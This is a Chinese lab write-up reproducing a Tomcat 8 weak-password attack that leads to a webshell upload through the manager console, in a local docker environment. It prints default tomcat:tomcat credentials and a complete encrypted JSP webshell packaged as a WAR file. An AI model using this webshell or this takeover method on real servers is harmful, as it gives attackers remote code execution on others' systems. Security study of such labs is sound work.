Tomcat8

简介: Tomcat8

漏洞简述

Tomcat7+ 弱口令 && 后台getshell漏洞

Tomcat版本:8.0

环境说明

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。

Tomcat7+权限分为:

  • manager(后台管理)
  • manager-gui 拥有html页面权限
  • manager-status 拥有查看status的权限
  • manager-script 拥有text接口的权限,和status权限
  • manager-jmx 拥有jmx权限,和status权限
  • host-manager(虚拟主机管理)
  • admin-gui 拥有html页面权限
  • admin-script 拥有text接口权限

这些权限的究竟有什么作用,详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html

在conf/tomcat-users.xml文件中配置用户的权限:

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>

可见,用户tomcat拥有上述所有权限,密码是tomcat。

正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

漏洞复现

docker-compose up -d

Error starting userland proxy: listen tcp4 0.0.0.0:8080: bind: address already in use

错误原因关掉burp

打开tomcat管理页面http://127.0.0.1:8080/manager/html,输入弱密码tomcat:tomcat,即可访问后台:

将带有一句话的he.jsp文件压缩成zip,并且将压缩后的zip文件改名为he.war

jsp 一句话木马,密码为pass

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

上传he.war文件

相关文章
|
异构计算 计算机视觉 测试技术
【YOLO系列】YOLOv6论文超详细解读(翻译 +学习笔记)
【YOLO系列】YOLOv6论文超详细解读(翻译 +学习笔记)
2800 0
【YOLO系列】YOLOv6论文超详细解读(翻译 +学习笔记)
|
监控 数据处理
基于STC89C52RC单片机的MODBUS RTU协议从机的实现
基于STC89C52RC单片机的MODBUS RTU协议从机的实现
1023 0
|
7月前
|
存储 算法 AliSQL
AliSQL DuckDB:数据压缩与归档分析实践
书接上文《别再嫌弃MySQL了!AI时代,当DuckDB拥抱MySQL》,继AliSQL Innovate用户社区大会之后,我们正式开启《DuckDB技术解读》系列。本文为第一篇,聚焦数据压缩与归档能力,详解AliSQL如何通过深度集成DuckDB,在保留MySQL生态兼容性的前提下,原生支持高密度存储与高效分析。
AliSQL DuckDB:数据压缩与归档分析实践
|
8月前
|
人工智能 搜索推荐 安全
企业建站如何选择网站建设平台或CMS建站系统
截至2026年1月,中国网站超460万个。建站首选SAAS(如阿里云/腾讯云建站)或成熟CMS(如PageAdmin、PHPCMS、Ecshop),避免使用无维护的个人开源系统。重内容、轻排名,AI时代网站是品牌知识入口,需持续更新优质内容。(239字)
899 12
|
8月前
|
存储 人工智能 网络安全
2026年阿里云轻量服务器部署OpenClaw(Clawdbot)小白零基础教程
OpenClaw(原Clawdbot,曾用名Moltbot)是一款开源轻量级AI自动化代理工具,2026年版本在部署灵活性、功能兼容性上实现重大升级,核心优势在于“自然语言驱动+全流程任务自动化”,无需手动编写脚本,仅需输入口语化指令,即可完成文档处理、日程管理、文件读写、跨工具协同、代码生成等各类重复性工作,被广泛应用于个人办公、新手开发、轻量团队协作等场景,堪称“私人AI员工”。
818 1
|
运维 监控 数据可视化
容器化部署革命:Docker实战指南
容器化部署革命:Docker实战指南
|
JavaScript 前端开发 测试技术
Playwright自动化测试系列课(4) | 异步加载克星:自动等待 vs 智能等待策略深度解析​
本文深度解析Playwright自动化测试中的等待策略,对比自动等待(零配置防御机制)与智能等待(精准控制异步场景)的核心差异。通过实战案例讲解等待机制的选择标准、常见失效原因及调试技巧,帮助开发者有效解决页面异步加载问题,提升测试脚本的稳定性和执行效率。
|
存储 安全 算法
【软件设计师备考 专题 】数据库的控制功能(并发控制、恢复、安全性、完整性)
【软件设计师备考 专题 】数据库的控制功能(并发控制、恢复、安全性、完整性)
584 0
|
人工智能 算法 安全
AI时代:不可替代的“人类+”职业技能
在生成式人工智能快速发展的背景下,关于“人类工作者是否会被算法取代”的焦虑日益增加。本文探讨了AI对职业的重塑作用,指出真正的挑战在于如何通过职业技能培训重新定义人类的不可替代性。文章分析了替代与创造的辩证关系,强调人机协作时代的核心能力,如架构设计力、情感智慧和伦理决策力,并提出职业技能培训应从岗位技能导向转向能力生态构建。最终,通过系统性培训发展“人类+”特质,使AI成为解放人类潜能的工具,而非竞争对手。
|
人工智能 运维 监控
智能化运维:AI在IT运维中的挑战与机遇###
本文探讨了人工智能(AI)技术在IT运维领域的应用,重点分析了AI如何提升运维效率、减少故障恢复时间,并预测未来发展趋势。通过具体案例展示了AI在实际运维中的应用效果,同时指出当前面临的挑战和解决方案,为读者提供一个全面了解智能化运维的视角。 ###

热门文章

最新文章